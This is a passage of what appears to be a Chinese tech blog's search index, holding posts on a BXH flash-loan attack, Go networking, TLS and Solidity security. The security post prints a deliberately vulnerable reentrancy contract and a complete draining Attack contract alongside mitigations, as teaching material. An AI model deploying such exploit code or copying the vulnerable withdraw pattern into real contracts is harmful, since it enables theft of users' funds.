/
search.json
1 lines (1 loc) · 153 KB
/
search.json
1
[{"title":"一次闪电贷攻击分析","url":"/2023/10/17/Flashloan-attack-event-analysis/","content":"\n# BXH 攻击事件分析\n\n* 攻击者地址:0x81c63d821b7cdf70c61009a81fef8db5949ac0c9\n* 攻击者合约地址:0x4e77df7b9cdcecec4115e59546f3eacba095a89f\n* 被攻击合约地址:0x27539b1dee647b38e1b987c41c5336b1a8dce663\n\n![攻击者、攻击合约地址](Flashloan-attack-event-analysis/From-To.png)\n\n## 攻击步骤\n\n1. 攻击者合约通过闪电贷 从 **PancakePair** 合约借出 3,178,800 的BSC-USD \n![Step 1](Flashloan-attack-event-analysis/step1.png)\n\n> `Transfer` event:当 tokens 从一个账户(from)转移到另一个账户(to)时触发\n\n2. 将 3,148,800 的BUSD兑换为 148,851 的 BXHToken,利用的合约为 **UniswapV2Pair** (0x919964B7f12A742E3D33176D7aF9094EA4152e6f)\n\n![Step 2](Flashloan-attack-event-analysis/step2.png)\n\n> `Approval` event:当一个账户(owner)授权另一个账户(spender)可以从自己的账户转移 tokens 时触发\n\n其中触发 **UniswapV2pair** 的 `Sync` 事件和 `Swap` 事件\n\n![](Flashloan-attack-event-analysis/step2.1.png)\n\n> `Sync` event:同步事件,更新储备量\n> `Swap` event:交换事件,更新储备量\n\n3. 向被攻击合约 **TokenStakingPoolDelegate** 转移 200 BUSD,调用 `depositIToken` 函数中 `getITokenBonusAmount()` 函数,计算得到 40,085 BUSD奖励\n\n![Step 3](Flashloan-attack-event-analysis/step3.png)\n\n4. 通过合约 **UniswapV2Pair** 将 148,851 的 BXHToken 兑换为 BSC-USD 并归还闪电贷给 **PancakePair** 合约\n\n![Step 4](Flashloan-attack-event-analysis/step4.png)\n\n![Step 4](Flashloan-attack-event-analysis/step4.1.png)\n\n![Step 4](Flashloan-attack-event-analysis/step4.2.png)\n\n## Fund Flow Graph\n\n![Fund Flow](Flashloan-attack-event-analysis/fund-flow.png)","tags":["web3"]},{"title":"GO入门(4) - struct & interface","url":"/2023/10/12/GO-struct-interface/","content":"\n# 结构体\n\n### 结构体内嵌\n\n使用结构体内嵌是一种面向对象编程思想中的继承关系\n\n```go\ntype Book struct {\n\ttitle string\n\tauthor string\n\tnum int\n\tid int\n}\n\ntype BookBorrow struct {\n\tBook\t// 继承了Book的基本属性和方法\n\tborrowTime string\n}\n\ntype BookNotBorrow struct {\n\tBook\t// 继承了Book的基本属性和方法\n\treadTime string\n}\n```\n\n### 结构体方法\n\n方法和函数比较像,区别在于函数属于包,通过包调用函数;方法属于结构体,通过结构体变量调用\n\n```go\nfunc (变量名 结构体类型) 方法名(参数列表) (返回值列表) {\n // 方法体\n}\n```\n\n# 接口\n\nGO语言接口是方法的集合,使用接口是实现模块化的重要方式\n\n\n### 接口的创建与实现\n\n接口是用来定义行为类型的,这些被定义的行为不由接口直接实现,而是通过方法由用户定义的类型实现,一个实现了这些方法的具体类型被称为接口的实例\n\n接口中声明完方法后,结构体重写接口中所有的方法,即认为结构体实现了接口\n\n```go\ntype Transport interface {\n\tLocalResolveTCPAddr(address string) (*net.TCPAddr, error)\n\tLocalDialTCP(laddr, raddr *net.TCPAddr) (*net.TCPConn, error)\n\tLocalListenTCP(laddr *net.TCPAddr) (*net.TCPListener, error)\n}\n\ntype defaultTransport struct {\n\tTimeout time.Duration\n}\n\nfunc (t *defaultTransport) LocalResolveTCPAddr(address string) (*net.TCPAddr, error) {\n\treturn net.ResolveTCPAddr(\"tcp\", address)\n}\n\nfunc (t *defaultTransport) LocalDialTCP(laddr, raddr *net.TCPAddr) (*net.TCPConn, error) {\n\tdialer := &net.Dialer{Timeout: t.Timeout, LocalAddr: laddr}\n\tconn, err := dialer.Dial(\"tcp\", raddr.String())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn conn.(*net.TCPConn), nil\n}\n\nfunc (t *defaultTransport) LocalListenTCP(laddr *net.TCPAddr) (*net.TCPListener, error) {\n\treturn net.ListenTCP(\"tcp\", laddr)\n}\n```\n\n> 上面代码创建了一个 `Transport` 的接口,结构体 `defaultTransport` 实现了 `Transport` 接口中的**所有方法**,即认为 `defaultTransport` 实现了 `Transport` 接口, `defaultTransport` 就是 `Transport` 接口的实例\n\n### 多态\n\n同一件事情由于条件不同产生的结果不同即为多态,多态在代码层面最常见的一种方式是**接口**作为方法参数\n\n```go\ntype Live interface {\n\trun()\n}\ntype People struct{}\ntype Animate struct{}\n\n//方法值使用的指针类型\nfunc (p *People) run() {\n\tfmt.Println(\"人在跑\")\n}\nfunc (a *Animate) run() {\n\tfmt.Println(\"动物在跑\")\n}\n\n//接口作为方法参数\nfunc sport(live Live) {\n\tlive.run()\n}\n\nfunc main() {\n\tpeo := &People{}\n\tsport(peo) //输出:人在跑\n\tani := &Animate{}\n\tsport(ani) //输出:动物在跑\n}\n```\n\n> 结构体实现了接口的全部方法,就认为结构体属于**接口类型**,这时可以把结构体变量赋值给接口变量\n>\n> 上面需要注意的一点是,方法集如果使用的是指针类型(如 `p *People` )那么必须传入指针类型的值;如果方法集使用的是值类型(如 `p People` )那么可以传入指针类型的值也可以传入值类型的值\n","tags":["GO"]},{"title":"GO入门(3) - net.Dial()","url":"/2023/10/12/GO-Dial/","content":"\n# **`net.Dial()`**\n\n当我们想要使用协议建立连接时,只需要调用 **`net.Dial()`** 函数就可以了,它接受两个参数,第一个参数是协议名,第二个参数是地址,返回值是一个连接对象 **`net.conn`** 和一个错误对象 **`err`**\n\n```go\nconn, err := net.Dial(\"tcp\", \"192.168.10.10:80\")\n```\n\n**`Dial()`** 函数目前支持以下网络协议:\n* tcp\n* tcp4(仅限IPv4)\n* tcp6(仅限IPv6)\n* udp\n* udp4(仅限IPv4)\n* udp6(仅限IPv6)\n* ip\n* ip4(仅限IPv4)\n* ip6(仅限IPv6)\n* unix\n* unixgram\n* unixpacket\n\n在成功建立连接后,就可以进行数据的接收和发送,使用 **`conn.Write()`** 发送数据,使用 **`conn.Read()`** 接收数据,这两个函数都接受一个字节切片作为参数,返回值是发送或接收的字节数和一个错误对象\n\n## **`conn.Write()`**\n\n```go\n_, err = conn.Write([]byte(\"HEAD / HTTP/1.0\\r\\n\\r\\n\"))\n```\n\n## **`conn.Read()`**\n\n```go\nfunc readFully(conn net.Conn) ([]byte, error) {\n \n // 读取所有响应数据后主动关闭连接\n defer conn.Close()\n\n //创建字节缓冲区\n result := bytes.NewBuffer(nil)\n\n //存储每次从连接中读取的数据\n var buf [512]byte\n for {\n n, err := conn.Read(buf[0:])\n result.Write(buf[0:n])\n if err != nil {\n\n //判断是否到达数据流末尾\n if err == io.EOF {\n break\n }\n return nil, err\n }\n }\n return result.Bytes(), nil\n}\n```\n\n## 超时处理\n\n### 连接超时\n\n```go\nconn, err := net.DialTimeout(\"tcp\", “192.168.1.1:80”, 3*time.Second)\n```\n\n**`DialTimeout()`** 和 **`Dial()`** 函数一样,只是多设置了超时字段而已,而 **`Dial()`** 函数默认会使用操作系统提供的机制来处理连接超时\n\n### 请求和响应超时\n\n`Conn` 提供三个方法来设置请求和响应超时时间\n* **`SetDeadline()`** :设置读写超时时间\n* **`SetReadDeadline()`** :设置读超时时间\n* **`SetWriteDeadline()`** :设置写超时时间\n\n```go\nerr = conn.SetDeadline(time.Now().Add(100 * time.Second))\n```\n\n## 工具函数\n\n### **`net.ParseIP`**\n\n**`net.ParseIP()`** 函数可以验证IP地址的有效性\n\n### **`net.IPv4Mask`**\n\n**`net.IPv4Mask()`** 函数可以创建一个IPV4掩码\n\n### **`net.ResolveTCPAddr`**\n\n```go\nstructListenAddr, err := net.ResolveTCPAddr(\"tcp\", \"192.168.1.1:80\")\n```\n\n**`net.ResolveTCPAddr`** 可以将一个TCP地址解析为一个TCP地址结构体,该函数会返回一个 **`net.TCPAddr`** 类型的地址结构体,包括解析后的IP地址和端口信息\n\n# **`net.Dialer`**\n\n**`net.Dialer`** 是一个结构体,它封装了有关网络连接的更多选项,如超时时间、本地地址、代理设置等,允许用户进行更精细的控制\n\n创建 **`net.Dialer`** 结构体后,可以使用它的 **`Dial`** 方法创建连接\n\n```go\ndialer := &net.Dialer{Timeout: 5 * time.Second}\nconn, err := dialer.Dial(\"tcp\", \"example.com:80\")\nif err != nil {\n // 处理连接错误\n}\n// 使用 conn 进行数据的读写\n```","tags":["GO"]},{"title":"GO入门(2) - 常见问题","url":"/2023/10/09/GO-error/","content":"\n## Exported method with the unexported return type(使用了未导出的函数或类型)\n\n在Go语言中,如果一个方法的名字首字母大写,则该方法是公开的(或称为已导出的),可以在包外部被访问和调用\n\n如果一个方法的名字首字母小写,则该方法是私有的(或称为未导出的),只能在包内部访问和调用。\n\n\n","tags":["GO"]},{"title":"TLS","url":"/2023/10/07/TLS/","content":"\n浏览器建立SSL/TLS协议连接,实际上就是使用多个子加密协议组合,最终选择合适的加密算法进行数据安全传输,这种算法组合本身被叫做 **“密码套件”**\n\n## TLS 密码套件命名\n\nTLS 的密码套件命名看起来很长,但是实际上非常规范,格式很固定。基本的形式是 \n\n**密钥交换算法 + 签名算法 + 对称加密算法 + 摘要算法**\n\n比如 `ECDHE-RSA-AES256-GCM-SHA384`\n\n所表示的含义为:\n\n握手时使用 `ECDHE` 算法进行密钥交换,用 `RSA` 签名和身份认证,握手后的通信使用 `AES` 对称算法,密钥长度**256**位,分组模式是 `GCM` ,摘要算法 `SHA384` 用于消息认证和产生随机数\n\n## 对称加密\n\n比较流行的算法包括: **`DES`** 、 **`Ttriple-DES(3DES)`** 、 **`RC2`** 和 **`RC4`** 、 **`ChaCh20`** 、 **`AES`** ,其中 **`RC4`** 、 **`RC2`** 、 **`DES`** 、 **`3DES`** 都已经被证明不安全,不应该再使用\n\n* **`ChaCh20`** :Google 开发的一种加密算法,其安全性和性能都很好,但是由于其不是公认的标准算法,所以目前还没有被广泛使用\n\n* **`AES`** :目前最流行的对称加密算法,目前是 TLS 的标准算法,其密钥长度可以是 128 位、192 位、 256 位或者更长\n\n## 非对称加密\n\n在TLS里面,非对称加密算法主要用于密钥交换和身份认证,比较流行的算法包括: **`RSA`** 、 **`DSA`** 、 **`ECC`** 、 **`DH`**\n\n其中 **`RSA`** 、 **`DSA`** 、 **`DH`** 都是基于数论的算法\n\n **`ECC`** 是基于椭圆曲线的算法,ECC目前比较常用的两个曲线是 P-256(secp256r1,在 OpenSSL 称为 prime256v1)和 x25519\n\n ## 摘要算法\n\n数字签名通常是使用单向加密的摘要算法,摘要算法主要负责计算内容的 **哈希值(HMAC)**,这个哈希码是唯一的,并且无法反向推导。\n\n## 密钥交换算法\n\n密钥交换算法主要用于在握手阶段,客户端和服务器之间交换对称加密算法的密钥,常见的密钥交换算法包括 **`RSA`** 、 **`ECDHE`** 等\n\n现代互联网都是使用 **`ECDHE`** 进行密钥交换算法\n\n# TLS 1.2\n\n## TLS 1.2 协议组成\n\nTLS 1.2 主要有四个子协议:\n* 记录协议(Record Protocol)\n* 握手协议(Handshake Protocol)\n* 警告协议(Alert Protocol)\n* 变更密码规范协议(Change Cipher Spec Protocol)\n\n\n### 记录协议\n\n记录协议规定TLS传输的基本单位:记录(record)\n\n> record 可能包含长度,描述和内容,具备分块、压缩、编码、解压缩、重组等等和TCP分块类似功能,类似于TCP的Segament\n\n此外,这个协议还规定了安全通信的能力:\n* **可靠连接** :使用 **MAC**(Message Authentication Code,消息验证码)为数据提供完整性校验,TLS 目前使用的 **HMAC** 也属于 **MAC** 的一种。在握手阶段可以选择性地使用该功能\n* **私有连接** :比如对称加密使用的 `AES` 和 `CHACHA20` (需要注意记录协议也可以提供不加密的封装,比如在握手阶段的 Hello 报文,意味着整个连接都是可定制化的,参数可选)\n\n### 警报协议\n\n警报协议用于在通信过程中发生错误时,向对方发送警报信息,比如握手失败、证书无效、加密失败等等,类似于HTTP的状态码\n\n如:\n* **bad_record_mac** :错误的MAC地址\n* **decode_error** :解码异常\n* **protocol_version** :表示旧版本不受支持\n\n### 握手协议\n\n握手协议是TLS的核心协议,用于在客户端和服务器之间进行身份认证、密钥交换、协商加密算法等等\n\n握手协议的主要内容分为以下三点:\n* **身份认证** :利用CA端进行身份认证,身份认证的过程会用到非对称加密算法,注意HTTPS支持客户端和服务端双向认证,默认是服务单单向认证,客户端认证是可选的\n* **安全参数协商** : 保证被认证数据的机密性,需要用到比如哈希算法、密钥、加密算法等算法,对于数据加密处理\n* **可靠协商** :可靠协商指的是防止数据传输过程中被篡改\n\n握手协议定义了这些命令: **`ClientHello`** 、 **`SeverHello`** 、 **`Certificate`** 、 **`ServerKeyExchange`** 、 **`CertificateRequest`** 、 **`ServerHelloDone`** 、 **`ClientKeyExchange`** 、 **`CertificateVerify`** 、 **`ChangeCipherSpec`** 、 **`Finished`**\n\n### 变更密码规范协议(Change Cipher Spec Protocol)\n\n变更密码规范协议用于在握手过程中,通知对方之后的数据都将使用新的加密算法进行加密,这个协议只有一个命令: **`ChangeCipherSpec`**\n\n### Application Data 协议\n\n**Application Data 协议** 用在通信阶段,封装了应用层的数据,通过 **Record 协议** 封装之后,再通过 **TCP 协议** 转发出去\n\n此协议用于握手连接完成之后的数据传输规范,实际上可以看作是TLS和TCP的协议的对接\n\n## TLS 1.2 握手流程\n\nHTTPS连接定义:\n\n![Message flow for a full handshake](TLS/handshake.png)\n\nHTTPS交互流程图如下所示:\n\n\n![HTTPS握手流程图](TLS/TLS.png)\n\n\n### 第一次握手\n\n1. 客户端发送一个 **`ClientHello`** 请求,同时传递一些必要参数:\n* **`client_version`** :客户端支持的TLS版本\n* **`client_random`** :客户端生成的随机数,是后续对称加密密钥的必要参数之一\n* **`session_id`** :会话ID,如果客户端想要重用HTTPS会话,则在连接的时候需要携带此参数,否则为空\n* **`cipher_suites`** :客户端支持的加密套件\n* **`compression_methods`** :客户端支持的压缩会话列表\n* **`extensions`** :方便以后扩展新字段,该字段也是**TLS 1.3**的核心部分\n\n2. 服务器收到 **`ClientHello`** 请求之后,返回一个 **`ServerHello`** 响应,同时传递一些参数:\n* **`server_version`** :服务器选择合适的TLS版本\n* **`server_random`** :服务器生成的随机数,是后续对称加密密钥的关键参数\n* **`cipher_suite`** :从 **`cipher_suites`** 选择合适的加密套件\n* **`compression_method`** :选择合适的压缩算法\n* **`extensions`** :扩展内容\n\n### 第二次握手\n\n1. 第二次握手是从服务端开始的,服务端发送完 **`ClientHello`** 后,接着发送 **`Certificate`** ,包括服务端的证书链,证书链中包含了服务端的公钥,客户端收到证书之后,会对证书进行校验\n\n2. 数字证书传递之后,接下来是关键的一步,也就是密钥交换算法的协商( **`Server Key Exchange`** ),密钥交换的算法实际上是对于会话密钥(对称加密方法)选择,也就是如何安全的把实际交互的对称密钥告知服务器,目前HTTPS采用ECDHE算法\n3. *如果本次HTTPS是双向认证,则可以通过 **`CertificateRequest`** 索要客户端证书,保证双向安全\n4. 服务端发送 **`ServerHelloDone`** 告知客户端,服务端的握手阶段已经完成,等待客户端的响应\n\n### 第三次握手\n\n1. *如果服务端要求客户端提供证书,那么客户端会发送 **`Certificate`** ,证书中包含了客户端的公钥,服务端收到证书之后,会对证书进行校验\n\n2. 在单向认证中,客户端生成客户端公钥,用非对称加密的公钥进行加密,然后发送 **`ClientKeyExchange`** 给服务端,到此,客户段两个“半片钥匙”都已经拿到\n3. *如果有客户端证书校验,则需要加一步 **`CertificateVerify`** 操作\n4. 做完ECDHE传输之后,客户端和服务端各自持有 **Client Params** 和 **Server Params** 两个公钥,于是开始计算真实的会话密钥\n 1. 双方用 **Client Params** 和 **Server Params** 两个公钥加复杂算法,计算出一个随机数 **Pre-Master Key**\n 2. 双方用 **Pre-Master Key** 和 **Client Random** 、 **Server Random** 三个随机数,做伪随机数函数计算,生成最终的会话密钥 **Master Key** ,此外为保证安全性,还要再次加上摘要算法\n5. 会话密钥生成后,客户端就可以发送 **`Change Cipher Spec`** 告知服务端\n6. 客户端再发送一个 **`Finished`** 消息( **Encrypted Handshake Message** ,所有数据摘要)把之前所有的消息做个摘要,用会话密钥加密,发送给服务端做个验证\n\n### 第四次握手\n\n服务端收到客户端的回应后,也会发送 **`Change Cipher Spec`** 和 **`Finished`** 消息,让客户端确认\n\n两边核实无误,握手完成,开始正式的数据传输\n\n## TLS 1.3\n\nTLS 1.3 中,废弃了 **Session Ticket** 机制和 **Session ID** 机制,改变了密钥派生的机制,废弃一大堆不安全的算法,并且握手信息也被部分的进行了加密。对于握手流程来说,由之前的2-RTT变成了1-RTT,大大提高了握手的速度\n\n### TLS 1.3 握手流程\n\n![TLS 1.3 握手流程](TLS/TLS1.3.png)\n\n握手协议主要分为三个流程:\n1. **密钥交换** :选择TLS协议版本和加密的算法,并且协商算法所需的参数。这段是明文传输的\n2. **服务器参数** :建立其他握手协议参数,例如是否需要认证客户端,支持何种应用层协议等\n3. **认证** :对服务器进行认证(包括可选的客户端认证)并且提供密钥确认和验证握手完整性功能","tags":["web"]},{"title":"区块链安全","url":"/2023/09/21/Blockchain-attacks/","content":"\n# 以太坊合约安全问题\n\n## Solidity常见漏洞类型\n\n* Reentrancy(重入攻击)\n* Integer Overflow and Underflow(整数溢出和下溢)\n* Access Contorl(访问控制)\n* Unchecked Return Values For Low Level Calls(未严格判断不安全函数调用返回值)\n* Denial of Service(拒绝服务)\n* Bad Randomness(随机数不安全)\n* Front Running(交易抢先)\n* Time Manipulation(时间篡改)\n* Short Address Attack(短地址攻击)\n* ...\n\n## Reentrancy\n\n发生可重入漏洞的条件:\n\n* 调用了外部的合约且该合约不安全\n* 外部合约的函数调用早于状态变量的修改\n\n至于有关可重入中的交易函数和回退函数在另一篇博客有写\n\n### 代码演示\n\n漏洞代码如下,这段代码实现的是一个类似银行的合约,用户可以向 **`IDMoney`** 存储Ether,账户可以查询自己/他人在此合约的余额,同时也能通过 **`withdraw()`** 进行转账\n\n```solidity\npragma solidity ^0.4.10;\n\ncontract IDMoney {\n address owner;\n mapping (address => uint256) balances; // 记录每个打币者存入的资产情况\n\n event withdrawLog(address, uint256);\n\n function IDMoney() { owner = msg.sender; }\n function deposit() payable { balances[msg.sender] += msg.value; }\n function withdraw(address to, uint256 amount) {\n require(balances[msg.sender] > amount);\n require(this.balance > amount);\n\n withdrawLog(to, amount); // 打印日志,方便观察 reentrancy\n\n to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部\n balances[msg.sender] -= amount;\n }\n function balanceOf() returns (uint256) { return balances[msg.sender]; }\n function balanceOf(address addr) returns (uint256) { return balances[addr]; }\n}\n```\n\n> 上述代码的问题在于转币的方法用的是 **`call.value()()`** 的方式,这种方法会将剩余的 GAS 全部给予外部调用( **`fallback`** 函数),而 **`send`** 和 **`transfer`** 会有2300 GAS 的限制。\n>\n> 在进行Ether交易时目标地址是个合约地址,那么默认会调用该合约的 **`fallback`** 函数,如果该合约的 **`fallback`** 函数中又调用了 **`withdraw()`** 函数,那么就会将公共钱包合约里的Ether全部提出,造成可重入漏洞。\n\n攻击代码如下:\n\n```solidity\ncontract Attack {\n address owner;\n address victim;\n\n modifier ownerOnly { require(owner == msg.sender); _; }\n\n function Attack() payable { owner = msg.sender; }\n\n // 设置已部署的 IDMoney 合约实例地址\n function setVictim(address target) ownerOnly { victim = target; }\n\n // deposit Ether to IDMoney deployed\n function step1(uint256 amount) ownerOnly payable {\n if (this.balance > amount) {\n victim.call.value(amount)(bytes4(keccak256(\"deposit()\")));\n }\n }\n // withdraw Ether from IDMoney deployed\n function step2(uint256 amount) ownerOnly {\n victim.call(bytes4(keccak256(\"withdraw(address,uint256)\")), this, amount);\n }\n // selfdestruct, send all balance to owner\n function stopAttack() ownerOnly {\n selfdestruct(owner);\n }\n\n function startAttack(uint256 amount) ownerOnly {\n step1(amount);\n step2(amount / 2);\n }\n\n function () payable {\n if (msg.sender == victim) {\n // 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币\n victim.call(bytes4(keccak256(\"withdraw(address,uint256)\")), this, msg.value);\n }\n }\n}\n```\n\n### 解决方法\n\n* 使用其他交易函数\n* 先修改状态变量再进行转账\n* 使用互斥锁\n * 在代码执行过程中添加一个锁定合约的状态变量防止再次调用该函数\n* 使用OpenZeppelin的ReentrancyGuard库\n\n### 攻击示例\n\n[重入漏洞之基本原理和复现](https://zhuanlan.zhihu.com/p/578411657)\n\n## Flashloan attack\n\n一个常见的闪电贷操作逻辑有四步,必须在同一个区块中完成:\n1. 发送交易请求,并上传智能合约\n2. 向协议发送代币\n3. 上传的智能合约使用代币交互\n4. 归还代币给协议\n\n### 闪电贷平台\n* Aave:闪电贷的发明者和领导者\n* Uniswap:DeFi 中最受欢迎的去中心化交易所之一,包含V2和V3两个版本,V2版本带来一个新的功能叫做Flashswap(闪电兑)\n* Compound:一个去中心化的稳定币平台,支持 DAI 稳定币的发行和交易,提供闪电贷服务\n* MakerDAO\n* dYdX\n* Nuo\n* Fulcrum\n* ...\n\n### Uniswap 闪电贷\n\n在使用智能合约进行两个代币( **token** )之间的兑换时,首先需要发送 **token** 用于支付,然后会调用一个 `swap()` 函数,它将发送刚刚购买的 **token**\n\n![Flash Loan](Blockchain-attacks/flashloan.png)\n\n因为 Uniswap 的 `swap()` 函数模式是先转账再进行校验,所以第二步可以先将需要的代币借出后,第三步调用自己合约中的 `uniswapV2Call()` 函数进行其它操作,完成后第四步再将借的代币归还,完成闪电贷服务\n\nUniswap V2 有一个新功能叫做 **Flashswap** ,是 Uniswap 对闪电贷的称呼,这一功能集成在了 `swap()` 函数当中\n\n![Flash Loan Code](Blockchain-attacks/Uniswap-code.png)\n\n> 上图172行就是用户预先部署的合约,170-171两行有两个转账函数,它是“**乐观转账**”(即不校验用户合约的余额是否有足够的资产偿还借款就直接转账)。在最后部分,调用完用户的合约之后,才进行 `require` 支付金额,如果 `require` 声明失败,则整个交易回滚\n\n### AAVE 闪电贷\n\nAAVE 闪电贷功能是在 `LendingPool.sol` 合约中的 `Flashloan` 函数实现的\n\n\n![LedingPool source code](Blockchain-attacks/aave-code.png)\n\n> 通过调用 `Flashloan` 函数,传入借贷的金额、代币类型、借贷地址等参数,执行过程中将代币转给接收地址后会调用接收地址的 `executeOperation` 函数,移至用户的合约中继续执行\n>\n> 用户的合约代码执行完毕,返回到 `LendingPool.sol` 合约中,该合约使用 `require` 语句检查用户合约返回的值,如果合约不能扣除其费用,则 `require` 声明失败,意味整个交易都将失败,也意味着“乐观转账”实际不会发生\n\n[Truffle box](https://github.com/Aave/flashloan-box) 可以使用Truffle模版快速创建自己的 flash-loan\n\n*AAVE 和 Uniswap 的一些不同之处在于还款的流程。AAVE 闪电贷的还款,是在完成闪电贷过程后,由 AAVE 合约将借用的钱和手续费从借款地址中转回。而 Uniswap 的还款是由用户调用 `safeTransfer` 进行手动转账*\n\n\n### 闪电贷攻击\n\n闪电贷攻击的根本原因在于被攻击的项目的智能合约(尤其是价格预言机)存在漏洞,黑客利用了其中的漏洞完成攻击,而闪电贷只是提供了攻击的资金,降低了黑客攻击的成本\n\n#### 攻击类型:\n* **价格操控**:攻击者可以使用闪电贷款通过人为地抬高或降低其价值来操纵加密货币的价格\n* **套利**:攻击者可以通过使用闪电贷款执行套利交易来利用去中心化交易所之间的价格差异。虽然这种攻击不一定是恶意的,但它仍然会给合法交易者造成损失\n* **智能合约漏洞**:攻击者可以使用闪贷来利用智能合约中的漏洞,例如重入错误或整数溢出错误。这可以让他们从协议中窃取资金或执行其他攻击\n* ...\n \n#### 通过代币数量获取价格\n```Solidity\nfunction get_price() view public returns(uint256) {\n uint256 price;\n uint256 token_amount1 = IERC20(token1).balanceOf(address(pair));\n uint256 token_amount2 = IERC20(token2).balanceOf(address(pair));\n price = token_amount1*10**18 / token_amount2;\n return price;\n}\n```\n\n> 这段代码读取 `pair` 合约中的代币数量,将两者之商作为代币的价格\n>\n> 如果没有闪电贷,两种代币的数量一定是一个减少另一个就增加。但是有了闪电贷之后,可能发生一个代币减少,而另一种代币没有增加的情况。如果借出了巨额闪电贷,这个差价将被拉大,形成巨大套利空间\n\n#### 发放奖励\n\n### 闪电贷攻击示例\n\n[闪电贷攻击的基本示例](https://zhuanlan.zhihu.com/p/577306086)\n\n### 闪电贷创建者工具\n\n许多平台可以通过工具和API创建闪电贷\n\n* [Furucomcombo.app](https://furucombo.app/)\n* [Equalizer.finance](https://equalizer.finance/)\n* [CryptoWizards.net](https://cryptowizards.net/)\n\n","tags":["Blockchain"]},{"title":"Solidity","url":"/2023/09/16/Solidity/","content":"\n# 智能合约\n\n以太坊的智能合约是运行在 **以太坊虚拟机(EVM, Ethereum Virtual Machine)** 上的代码,EVM是智能合约的沙盒,合约存储在以太坊的区块链上,并被编译成 **EVM字节码** 。EVM字节码是一种低级的面向栈的语言,类似于汇编语言,EVM字节码可以通过以太坊虚拟机执行。\n\n# Solidity\n\n**Solidity** 是一种面向合约的、为实现智能合约而创建的高级编程语言,它的语法类似于JavaScript和Python,可以编译成EVM字节码,然后在以太坊虚拟机上执行。\n\n下面的合约是一个最简单的加密货币合约\n\n```solidity\npragma solidity ^0.4.21;\n\ncontract Coin {\n // 关键字“public”让这些变量可以从外部读取\n address public minter;\n mapping (address => uint) public balances;\n\n // 轻客户端可以通过事件针对变化作出高效的反应\n event Sent(address from, address to, uint amount);\n\n // 这是构造函数,只有当合约创建时运行\n function Coin() public {\n minter = msg.sender;\n }\n\n function mint(address receiver, uint amount) public {\n if (msg.sender != minter) return;\n balances[receiver] += amount;\n }\n\n function send(address receiver, uint amount) public {\n if (balances[msg.sender] < amount) return;\n balances[msg.sender] -= amount;\n balances[receiver] += amount;\n emit Sent(msg.sender, receiver, amount);\n }\n}\n```\n<br>\n接下来对合约里面的一些代码进行解读\n\n---\n```solidity\naddress public minter;\n```\n\n> 这一行声明了一个可以被公开访问的 **`address`** 类型的状态变量。这个类型适合存储合约地址或外部人员的密钥对。\n> \n> 关键字 **`public`** 自动生成一个函数,可以让你在合约之外读取这个状态变量的当前值。由编译器生成的函数代码大致如下:\n```solidity\nfunction minter() returns (address) { return minter; }\n```\n\n---\n```solidity\nmapping (address => uint) public balances;\n```\n> 这一行创建一个公共状态变量,该类型将 `address` 映射为无符号整数。 **Mappings** 可以看作是一个哈希表,它会执行虚拟初始化,使所有可能存在的键都映射到一个字节表示全为零的值。\n> \n> 但是,这种类比并不太恰当,因为它既不能获得映射的所有键的列表,也不能获得所有值的列表。 因此,要么记住你添加到 `mapping` 中的数据(使用列表或更高级的数据类型会更好),要么在不需要键列表或值列表的上下文中使用它,就如本例。\n>\n> **`public`** 关键字创建的 **`getter`** 函数 **`getter function`** 大致如下,通过该函数可以轻松地查询到账户的余额:\n```solidity\nfunction balances(address _account) public view returns (uint) {\n return balances[_account];\n}\n```\n\n---\n```solidity\nevent Sent(address from, address to, uint amount);\n```\n> 这一行声明了一个 **`event`** ,它会在函数 **`send`** 中被触发。客户端可以通过监听这些事件针对变化作出高效的反应,一旦它被发出,监听该事件的 **lister** 都将收到通知。\n>\n>可以使用如下代码监听该事件:\n```solidity\nCoin.Sent().watch({}, '', function(error, result) {\n if (!error) {\n console.log(\"Coin transfer: \" + result.args.amount +\n \" coins were sent from \" + result.args.from +\n \" to \" + result.args.to + \".\");\n console.log(\"Balances now:\\n\" +\n \"Sender: \" + Coin.balances.call(result.args.from) +\n \"Receiver: \" + Coin.balances.call(result.args.to));\n }\n})\n```\n---\n```solidity\nfunction Coin() public {\n minter = msg.sender;\n }\n```\n> 特殊函数 **`Coin`** 是合约的构造函数,只有当合约创建时运行。构造函数会在合约创建时执行,且只执行一次。构造函数的函数名必须与合约名相同,且不能有返回值。\n>\n> 它永远存储创建合约的人的地址,全局变量 **`msg`** (以及 **`tx`** 和 **`block`**),包含一些允许访问区块链的属性。\n>\n> **`msg.sender`** 始终指向当前函数的调用者的地址,而 **`tx.origin`** 始终指向事务的发起者。\n\n## 可见性\n\nSolidity有几种默认的变量或函数访问域关键字: **`private`** 、 **`public`** 、 **`external`** 、 **`private`** 。对合约实例方法来讲,默认可见状态为 **`public`** ,而合约实例变量的默认可见状态为 **`private`** 。\n\n* **`public`** :表示该函数或状态变量可以从任何地方调用,包括合同内部、外部合同、外部用户。如果不显式指定函数或状态变量的可见性,它们将被视为public。\n* **`private`** :表示函数或变量只能在本合约内部使用(代码层面)\n* **`external`** :表示函数只能从外部访问,不能被合约里的函数直接调用,但可以使用 **`this.func()`** 外部调用的方式调用该函数\n* **`internal`** :一般用在合约继承中,父合约中被标记成 internal 状态变量或函数可供子合约进行直接访问和调用(外部无法直接获取和调用)\n\n## 底层调用方式\n\nSolidity有两种用于与其他合同进行交互的低级函数: **`call`** 、 **`delegatecall`**\n\n它们的区别如下图所示:\n![call](Solidity/call.jpg)\n\n* **`call`** 方式会调用外部合约B的 `func()` 函数,在外部合约上下文执行完后继续返回本合约A上下文执行。 **`call`** 返回一个bool值来表明外部调用成功与否\n* **`delegatecall`** 方式相当于将外部合约B的 `func()` 代码复制到本合约的上下文空间中执行。 **`delegatecall`** 返回一个bool值来表明外部调用成功与否\n\n> 此外还有 **`callcode`** 函数,它是 **`delegatecall`** 之前的一个版本,现在已经弃用。它俩在 **`msg.sender`** 和 **`msg.value`** 的指向上有区别\n\n## 回退函数 **`fallback()`**\n\n**`fallback()`** 函数是一种特殊的函数,通常用于接收以太币或处理未知函数调用,具有以下特征:\n\n* 三无函数:一个合同只能有一个 **`fallback()`** 函数,且没有名字、没有参数、没有返回值\n* 替补函数:如果一个合同收到一个未知的函数调用,就会执行 **`fallback()`** 函数。这可用于实现一种默认行为或错误处理逻辑\n* 收币函数:当合同收到以太币时,会执行 **`fallback()`** 函数,以处理接收到的以太币\n* 如果合同需要接收以太币,且没有声明 **`receive()`** 函数,那么需要将 **`fallback()`** 函数声明为 **`payable`** 